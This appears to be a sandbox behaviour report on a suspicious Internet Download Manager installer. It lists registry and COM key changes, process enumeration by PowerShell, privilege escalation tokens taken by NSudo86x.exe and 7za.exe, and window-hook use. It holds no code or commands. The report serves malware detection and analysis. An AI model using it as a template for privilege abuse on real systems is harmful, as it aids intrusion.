Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Low Rights\DragDrop C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{1902485B-CE75-42C1-BA2D-57E660793D9A}\AppPath = "C:\\Program Files (x86)\\Internet Download Manager" C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Key created \REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Low Rights C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Low Rights\DragDrop\{19129CDA-AFC0-4330-99BC-C5A834F89006}\AppName = "IDMan.exe" C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{5518B636-6884-48CA-A9A7-1CFD3F3BA916}\1.0\HELPDIR C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0055C089-8582-441B-A0BF-17B458C2A3A8}\Implemented Categories\{59FB2056-D625-48D0-A944-1A85B5AB2640} C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0055C089-8582-441B-A0BF-17B458C2A3A8}\InprocServer32 C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\IDMIECC.IDMHelperLinksStorage\ = "IDMHelperLinksStorage Class" C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\DownlWithIDM.IDMDwnlMgr\CLSID\ = "{7D11E719-FF90-479C-B0D7-96EB43EE55D7}" C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{436D67E1-2FB3-4A6C-B3CD-FF8A41B0664D}\InprocServer32\ThreadingModel = "Apartment" C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\AppID\idmBroker.EXE\AppID = "{3C085E26-7DF6-4A34-ADA6-877D06BAE9A8}" C:\Program Files (x86)\Internet Download Manager\idmBroker.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{436D67E1-2FB3-4A6C-B3CD-FF8A41B0664D}\InprocServer32 C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0F947660-8606-420A-BAC6-51B84DD22A47}\Programmable C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{52F6F7BD-DF73-44B3-AE13-89E1E1FB8F6A} C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{CDD67718-A430-4AB9-A939-83D9074B0038}\TypeLib C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\IDMIECC.IDMHelperLinksStorage.1\ = "IDMHelperLinksStorage Class" C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{4BD46AAE-C51F-4BF7-8BC0-2E86E33D1873} C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\IDMIECC.IDMHelperLinksStorage\ = "IDMHelperLinksStorage Class" C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{52F6F7BD-DF73-44B3-AE13-89E1E1FB8F6A}\ = "LinkProcessor Class" C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{98D060EC-53AF-4F61-8180-43C507C9FF94}\TypeLib\Version = "1.0" C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\DownlWithIDM.V2LinkProcessor\CLSID\ = "{4764030F-2733-45B9-AE62-3D1F4F6F2861}" C:\Windows\system32\regsvr32.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{436D67E1-2FB3-4A6C-B3CD-FF8A41B0664D}\VersionIndependentProgID C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{CDC95B92-E27C-4745-A8C5-64A52A78855D} C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\IDMan.CIDMLinkTransmitter C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{52F6F7BD-DF73-44B3-AE13-89E1E1FB8F6A}\MiscStatus C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{CDD67718-A430-4AB9-A939-83D9074B0038} C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Idmfsa.IDMEFSAgent\CLSID C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{52F6F7BD-DF73-44B3-AE13-89E1E1FB8F6A}\ProgID C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0F947660-8606-420A-BAC6-51B84DD22A47}\InprocServer32 C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{CDC95B92-E27C-4745-A8C5-64A52A78855D}\InProcServer32 C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\CLSID\{dc3535a5-44aa-84d4-cb00-e304cf588403} C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{6A89524B-E1B6-4D71-972A-8FD53F240936}\1.0\HELPDIR C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\IDMGetAll.IDMAllLinksProcessor\ = "IDMAllLinksProcessor Class" C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0055C089-8582-441B-A0BF-17B458C2A3A8}\Implemented Categories C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{5312C54E-A385-46B7-B200-ABAF81B03935}\TypeLib C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{C950922F-897A-4E13-BA38-66C8AF2E0BF7}\NumMethods\ = "16" C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{6B9EB066-DA1F-4C0A-AC62-01AC892EF175}\ = "IIDMEFSAgent2" C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\DownlWithIDM.V2LinkProcessor\ = "V2LinkProcessor Class" C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{436D67E1-2FB3-4A6C-B3CD-FF8A41B0664D}\InprocServer32 C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\idmBroker.OptionsReader.1 C:\Program Files (x86)\Internet Download Manager\idmBroker.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{5312C54E-A385-46B7-B200-ABAF81B03935}\TypeLib C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\IDMIECC.IDMHelperLinksStorage.1\ = "IDMHelperLinksStorage Class" C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5312C54E-A385-46B7-B200-ABAF81B03935}\TypeLib C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{CDC95B92-E27C-4745-A8C5-64A52A78855D}\ = "IDM Shell Extension" C:\Windows\system32\regsvr32.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{436D67E1-2FB3-4A6C-B3CD-FF8A41B0664D}\VersionIndependentProgID C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{52F6F7BD-DF73-44B3-AE13-89E1E1FB8F6A} C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{52F6F7BD-DF73-44B3-AE13-89E1E1FB8F6A}\TypeLib C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{6B9EB066-DA1F-4C0A-AC62-01AC892EF175}\NumMethods C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{7D11E719-FF90-479C-B0D7-96EB43EE55D7}\ProgID C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{CDD67718-A430-4AB9-A939-83D9074B0038}\Programmable C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0F947660-8606-420A-BAC6-51B84DD22A47}\VersionIndependentProgID C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{436D67E1-2FB3-4A6C-B3CD-FF8A41B0664D}\ProgID C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{CDC95B92-E27C-4745-A8C5-64A52A78855D}\ = "IDM Shell Extension" C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{94D09862-1875-4FC9-B434-91CF25C840A1}\TypeLib\Version = "1.0" C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{C7798BD6-34AF-4925-B01C-450C9EAD2DD9}\TypeLib C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{7D11E719-FF90-479C-B0D7-96EB43EE55D7}\ProgID C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0055C089-8582-441B-A0BF-17B458C2A3A8}\VersionIndependentProgID\ = "IDMIECC.IDMIEHlprObj" C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\DownlWithIDM.LinkProcessor.1\CLSID C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{CDD67718-A430-4AB9-A939-83D9074B0038}\TypeLib\ = "{6A89524B-E1B6-4D71-972A-8FD53F240936}" C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4764030F-2733-45B9-AE62-3D1F4F6F2861}\ProgID C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{CDD67718-A430-4AB9-A939-83D9074B0038}\TypeLib C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{7D11E719-FF90-479C-B0D7-96EB43EE55D7} C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0055C089-8582-441B-A0BF-17B458C2A3A8}\ = "IDM integration (IDMIEHlprObj Class)" C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\IDMIECC.IDMHelperLinksStorage\CLSID\ = "{436D67E1-2FB3-4A6C-B3CD-FF8A41B0664D}" C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\IDMGetAll.IDMAllLinksProcessor.1 C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0F947660-8606-420A-BAC6-51B84DD22A47}\Elevation\Enabled = "1" C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{5518B636-6884-48CA-A9A7-1CFD3F3BA916}\1.0\0\win32 C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\IDMIECC.IDMIEHlprObj.1\ = "IDMIEHlprObj Class" C:\Windows\system32\regsvr32.exe N/A

Runs net.exe

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\System32\PING.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A

Suspicious behavior: LoadsDriver

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 18007870159192084 N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeTcbPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeCreatePermanentPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeAuditPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeChangeNotifyPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeUndockPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeManageVolumePrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeImpersonatePrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeCreateGlobalPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: 31 N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A
N/A N/A C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
N/A N/A C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
N/A N/A C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
N/A N/A C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IEMonitor.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IEMonitor.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IEMonitor.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
